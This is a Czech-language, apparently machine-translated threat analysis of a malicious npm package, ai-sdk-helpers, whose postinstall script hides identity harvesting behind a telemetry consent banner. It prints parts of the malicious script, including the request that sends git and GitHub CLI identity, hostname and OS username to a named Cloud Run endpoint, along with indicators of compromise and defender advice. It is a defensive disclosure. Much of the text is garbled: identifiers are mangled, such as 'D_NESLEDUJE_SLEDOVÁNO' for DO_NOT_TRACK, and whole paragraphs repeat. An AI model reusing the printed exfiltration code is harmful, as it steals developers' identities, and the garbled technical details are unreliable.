ConsentMask Balíček npm Skrytí sběru identity vývojáře

ConsentMask: NPM balíček, který zobrazuje banner s telemetrickým souhlasem při sběru identity vývojáře

TL, DR

Jeden npm balíček, pomocníci AI-SDK, se prezentuje jako produkční sada nástrojů pro Vercel AI SDK a nabízí sledování nákladů, záložní poskytovatele a pomocníky pro streamování.

Jeho instalační skript se otevírá propracovaným popisným bannerem anonymní diagnostika, slibujíc, že ​​nebudou přenášeny žádné zdrojové kódy, tokeny ani přihlašovací údaje, a ctíc tak DO_NOT_TRACK odhlášení a propojení se stránkou zásad telemetrie.

Stejný skript poté přečte identitu vývojáře v systému Git, konfiguraci CLI GitHubu, název hostitele počítače, uživatelské jméno operačního systému, pracovní adresář a poskytovatele CI.

Tato data jsou odesílána jako JSON do koncového bodu Google Cloud Run, což vytváří zjevný nesoulad mezi uvedenými zásadami telemetrie a skutečně shromážděnými poli.

Balíček byl publikován ve dvaadvaceti verzích v rámci jediného 83sekundového záběru a instalační skript je bajt po bajtu identický napříč všemi označenými verzemi.

Sedm z osmi verzí, které jsme recenzovali pipeline byly klasifikátorem ML ohodnoceny jako neprůkazné, protože styl banneru souhlasu se čte jako legitimní telemetrie.

Klasifikujeme ai-sdk-helpers jako škodlivý na základě shromažďování a exfiltrace identity vývojáře během instalace.

Závažnost: vysoká.

 Anatomie instalace

{
  "scripts": {
    "postinstall": "node scripts/postinstall.js"
  }
}

po instalaci běží automaticky na npm install, než bude importován jakýkoli inzerovaný kód balíčku. Skript skripty/postinstall.js je místem, kde se nachází veškeré chování během instalace.

Začíná blokem komentářů a oznámením za běhu napsaným v registru open-source projektu dbajícího na soukromí:

>Když si nainstalujete ai-sdk-helpers, spustíme rychlou kontrolu kompatibility prostředí a anonymně nahlásíme diagnostiku… Data jsou plně anonymní – shromažďujeme vaši platformu, verzi uzlu a jednosměrný hash identifikátoru vašeho počítače. Nikdy se nepřenáší žádný zdrojový kód, tokeny ani přihlašovací údaje.

Dokonce zapojuje funkční bránu pro odhlášení, první spustitelný kód v souboru:

if (
  process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||
  process.env.DO_NOT_TRACK === "1"
) {
  process.exit(0);
}

Právě to, že se tato brána zapne jako první, dává ostatním možnost číst je konsensuální: vývojář, který nastavuje `D_NESLEDUJE_SLEDOVÁNO` tiše ponechá instalaci dokončenou a balíček dodržuje konvenci. Ctěný odhlášení je skutečné. Pro všechny, kteří jej nenastaví, omezuje kolekci popsanou níže – nikoli užší označení „platforma, verze Node a jednosměrný hash“, jak je uvedeno v oznámení.

Pod touto branou skript sestavuje datovou část, která výrazně přesahuje tento popis.

  • *Gidentita.* rvyřešitScmIdentita()` eads `~.gitconfig`,`~.config/git/config`,a `.it/config`,analyzuje `[ser]` sekce a vrátí nakonfigurovanou commit e-mail. Pokud žádný konfigurační soubor nevrátí e-mail, vrátí se zpět k `GE-MAIL_AUTORU,`GT_COMMITTER_EMAIL`,a `EAIL` proměnné prostředí. Dokumentační řetězec nad funkcí rámuje čtení jako způsob „deduplikace instalací napříč počítači vlastněnými stejnou osobou (např. notebook + CI)“ – deklarovaný účel, který vyžaduje stabilní identifikátor pro každého vývojáře, který commit e-mailové potřeby.
  • *GÚčet tHub.* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` a `~.config/gh/hosts.yaml` konfigurační soubor zapsaný rozhraním příkazového řádku GitHubu při ověření vývojáře – a pomocí regulárních výrazů extrahuje `uehm:` a `enemoc:` pole. Tento soubor také ukládá token GitHub OAuth; regulární výraz skriptu cílí konkrétně na řádky s uživatelským jménem a e-mailem a token neextrahuje. Tvrzení v banneru s upozorněním „žádné tokeny… se nikdy nepřenášejí“ je tedy doslova pravdivé pro dané jedno pole, zatímco se čtou a odesílají okolní identifikátory účtů.
  • *Hotisk prstu st a CI.* Scénář pak shromažďuje `o.název_hostitele()`,`o.userInfo().uživatelské_jméno`,verze, platforma a architektura uzlu, `pocess.cwd()`,a popisek poskytovatele CI vyřešený kontrolou proměnných prostředí pro osm poskytovatelů (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite a dva generické příznaky CI). Seznam poskytovatelů se čte jako inventář míst, kde se skript očekává spuštění – interaktivní shell a automatizované sestavení pipelineje podobný.

Všechny tyto jsou seskupeny do jednoho `dagnostici objekt s poli pro jednotlivé vývojáře shromážděnými v rámci `ientita ey a data hostitele pod `rčas a `cntext` eys, poté serializovány a přenášeny:

const req = https.request(
  {
    hostname: "npm-package-logger-228835561205.europe-west1.run.app",
    path: "/",
    method: "POST",
    headers: { "Content-Type": "application/json" },
    timeout: 5000,
  },
  () => {}
);

req.on("error", () => {});
req.write(body);
req.end();

Odpověď je zahozena a všechny chyby jsou pohlceny – komentář uvádí, že „telemetrie nesmí nikdy přerušit instalaci“. Název hostitele koncového bodu kóduje službu Google Cloud Run v řetězci `elanový západ1` region.

Mezera je ten příběh. Banner uvádí tři kategorie dat – platformu, verzi uzlu, hash identifikátoru stroje. Údaj odesílá skutečný git vývojáře. commit e-mail, jejich uživatelské jméno a e-mail na GitHubu, název hostitele jejich počítače a název účtu operačního systému, cesta k jejich projektu a jejich prostředí CI. Pole, která identifikují *prson a jejich účty* přesně ty oblasti, které zveřejnění vynechává.

Soubor README posiluje rámcování z druhé strany. Jeho část „Telemetrie“ opakuje tvrzení o anonymitě a propojuje slovo `D_NESLEDUJE_SLEDOVÁNO` o `cnsoledonottrack.com`,skutečná stránka komunity, která dokumentuje úmluvu o odhlášení – vypůjčuje si uznávaný způsob ochrany osobních údajů standard aby oznámení bylo čitelné jako rutinní záležitost.

Timeline

Jedná se o nález v jednom balíčku s velmi krátkou a velmi hustou publikační historií. Neexistuje žádný vícetýdenní kampaňový oblouk, který by bylo možné sledovat – celá řada verzí byla publikována rychlostí stroje.

Kdy (UTC)událost
2026-06-03 20:31:20 První verze (0.1.0) publikováno na npm.
2026-06-03 20:31:20 – 20:32:43 Všech 22 verzí (0.1.0 přes 1.4.2) publikované v 83sekundové automatické dávce.
2026-06-04 Osm verzí označených detekčními signály; manuální analýza potvrzuje sběr a exfiltraci identity v době instalace. Balíček zůstal v době analýzy aktivní na npm.

83sekundové okno napříč 22 sémantickými verzemi je samo o sobě behaviorálním indikátorem: žebříček verzí (`01.0`,`01.1`,… `14.2")představuje povrch aktivně spravovaného projektu s historií vydání, vytvořenou v jednom skriptovaném spuštění. Instalační skript se v rámci tohoto žebříčku nemění – viz níže.

Ukazatele kompromisu

Datové zatížení instalace je v celém rozsahu publikovaných verzí stejné. A `dff` f `sript/postinstall.js` verze `02.1 " nd verze `14.2 " nevrací žádné rozdíly; chování je jeden fixní otisk prstu, nikoli vyvíjející se užitečná zátěž.

Síť

83sekundové okno napříč 22 sémantickými verzemi je samo o sobě behaviorálním indikátorem: žebříček verzí (`01.0`,`01.1`,… `14.2")představuje povrch aktivně spravovaného projektu s historií vydání, vytvořenou v jednom skriptovaném spuštění. Instalační skript se v rámci tohoto žebříčku nemění – viz níže.

Ukazatele kompromisu

Datové zatížení instalace je v celém rozsahu publikovaných verzí stejné. A `dff` f `sript/postinstall.js` verze `02.1 " nd verze `14.2 " nevrací žádné rozdíly; chování je jeden fixní otisk prstu, nikoli vyvíjející se užitečná zátěž.

Síť

IndikátorRole
npm-package-logger-228835561205.europe-west1.run.app Koncový bod exfiltrace přijímající HTTPS POST požadavky s datovými částmi JSON. Hostováno na Google Cloud Run v europe-west1 kraj.

Infrastruktura návnad

IndikátorRole
ai-sdk.guide Domovská stránka balíčku a aktivní web podporující identitu autora „AI SDK Guide“.
ai-sdk.guide/telemetry Adresa URL zásad telemetrie uvedená v oznámení o zveřejnění informací v době instalace.
hello@ai-sdk.guide E-mail autora deklarovaný v package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Zdrojový repozitář deklarovaný balíčkem.

Soubory načtené při instalaci

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` email
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` Rozhraní příkazového řádku GitHubuehm `enemohou

Behaviorální podpisy

  • – m `pstinstall` ook vyvolání přidaného skriptu Node
  • – brána pro odhlášení („A“)_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NESLEDUJE_)prezentováno jako prvek ochrany soukromí, před shromažďováním identity
  • – odchozí HTTPS POST odeslaný z JSON objektu obsahujícího e-mailovou adresu GitHub, identitu GitHub, název hostitele, uživatelské jméno operačního systému, cwd a popisek CI
  • – identický instalační skript v rámci rychle publikovaného žebříčku verzí

 Atribuce a pozorované chování
Nepřiřazujeme nic nad rámec toho, co zaznamenávají metadata balíčku a registru.

Správcem záznamů npm je účet `a`ielsimon`,s adresou `aiel@vigilance.security`.Registr uvádí daný e-mail jako neověřený a identitu správy zdrojů daného účtu jako neověřenou. `pckage.json`,samostatně prezentuje autora jako „Průvodce AI SDK“ello@ai-sdk.guide>`”s domovskou stránkou `a-sdk.guide` a zdrojový repozitář pod doménou `gOrganizace thub.com/ai-sdk-guide. E-mailová doména publikačního účtu (vigilance.security).a identitu autora v balíčku (`a-sdk.guide`)jsou různé domény.

`a-sdk.guide` ite je aktivní a reaguje a `/elemetrie ath řeší — identita návnady je podpořena dosažitelnou webovou přítomností, nikoli nefunkčním odkazem, což zvyšuje věrohodnost rámování balíčku.

**Pozorovaná schopnost.** Při instalaci balíček načte soubory identity vývojáře a konfigurace účtu, otiskne hostitelské a CI prostředí a odešle výsledek do koncového bodu ovládaného operátorem, přičemž zobrazí upozornění, které popisuje užší a anonymizovanou datovou sadu. Toto chování popisujeme; netvrdíme, že pro něj byl motiv. Čtenáři hodnotící balíček – včetně jakékoli strany, která rozpoznává identitu publikovatele – by měli zvážit pozorovatelný nesoulad mezi uvedenými a skutečnými datovými toky.

Dopad, trendy a pokyny pro obránce

Kdo je odhalen. Každý, kdo instaluje pomocníci AI-SDK – přímo nebo jako tranzitivní závislost – spustí kolekci na daném počítači. Protože spouštěč je po instalaci, inzerovaný kód knihovny se nikdy nemusí importovat, aby proběhl tok dat; stačí samotná instalace. Nejhodnotnější prostředí jsou vývojářské pracovní stanice s nakonfigurovanou identitou git a ověřeným rozhraním příkazového řádku GitHub a běžci CI, kde detekce poskytovatele CI skriptem indikuje, že se očekává spuštění kolekce uvnitř sestavení. pipelinestejně jako na noteboocích.

Co to odhaluje. V obecném případě se nejedná o aplikační tajemství – užitečné zatížení se zaměřuje na identitavývojáře commit e-mail, název a e-mail účtu GitHub, název počítače a účtu a cestu k projektu. To je předběžnýcismapa toho, kdo balíček nainstaloval, na jakém počítači, v jakém repozitáři a pod kterým systémem CI. Pro organizaci by hrstka takových záznamů dohromady vyjmenovala, kteří inženýři a které systémy sestavení závislost stáhly – což je užitečné jako předzvěst cílenější následné aktivity, i když vlastní chování tohoto balíčku končí u sběru a přenosu.

Trend: telemetrie jako krytí. Legitimní nástroje pro vývojáře shromažďují anonymní diagnostické údaje o instalaci a existují pravidla pro jejich respektování – oznámení o zveřejnění, NESLEDOVAT čest, příznak odhlášení, adresa URL zásad – jsou dobře známé. pomocníci AI-SDK věrně reprodukuje všechny čtyři tyto konvence a používá je jako obal pro shromažďování identity. Přítomnost banneru se souhlasem, funkčního odhlášení nebo odkazu na zásady ochrany osobních údajů není důkazem důvěryhodnosti balíčku; tyto ovládací prvky se dají levně napodobit. Jedinou spolehlivou kontrolou je, co kód skutečně čte a kam to skutečně odesílá.

Toto balení má také měřitelný vliv na automatizované třídění. Napříč našimi verzemi pipeline Po kontrole byly komentáře v prostém jazyce, strukturované názvy polí a konvenční brána pro odhlášení instalačního skriptu hodnoceny jako běžná telemetrie: sedm z osmi se vrátilo nepřesvědčivý z klasifikátoru ML, spíše než škodlivý. Signál, který řeší nejednoznačnost, není v textu – je v konkrétních souborech, které skript otevírá (~ / .gitconfig, ~/.config/gh/hosts.yml) a místo určení, kam je odesílá. Kontrolor, automatizovaný nebo lidský, který si přečte zveřejnění a u něj se zastaví, dospěje k nesprávnému závěru; rozhodnutí musí vycházet z faktů o toku dat.

Pokyny pro obránce:

  • Instalace s ve výchozím nastavení zakázanými skripty — npm install –ignore-scriptsnebo nastavit ignore-scripts=true in .npmrc a explicitně spustit ověřené kroky sestavení. To neutralizuje po instalaci- spuštěné vymáhání pohledávek napříč celou společností.
  • Nepovažujte ovládací prvky pro odhlášení za signály důvěry. NESLEDOVAT Kontrola nebo odkaz „zásady telemetrie“ vám neřeknou nic o datech, která skript shromažďuje, když brána není nastavena.
  • Před přijetím pomocných balíčků pro ekosystém umělé inteligence si přečtěte instalační hook. Prostor sady Vercel AI SDK je rychle se rozvíjející cíl s vysokou důvěryhodností; po instalaci který se dotýká ~ / .gitconfig or ~/.config/gh/ je jasným signálem bez ohledu na to, jak jsou napsány okolní komentáře.
  • Monitorování odchozího signálu v době sestavení. Odchozí HTTPS POST během npm install, zejména pro nově zřízený koncový bod cloudové funkce, je pozorovatelný na síťové vrstvě a představuje silný detekční bod pro prostředí CI.
  • Dávejte pozor na komprimované žebříčky verzí. Balíček, jehož celá sémantická historie verzí se zobrazí během několika sekund s neměnným instalačním skriptem, prezentuje vyrobenou historii údržby.
nástroje pro analýzu složení softwaru SCA
Stanovte priority, opravte a zabezpečte svá softwarová rizika
Získejte svůj bezplatný účet.
Nevyžaduje se žádná kreditní karta.

Zajistěte si vývoj a dodávky softwaru

s produktovým balíčkem Xygeni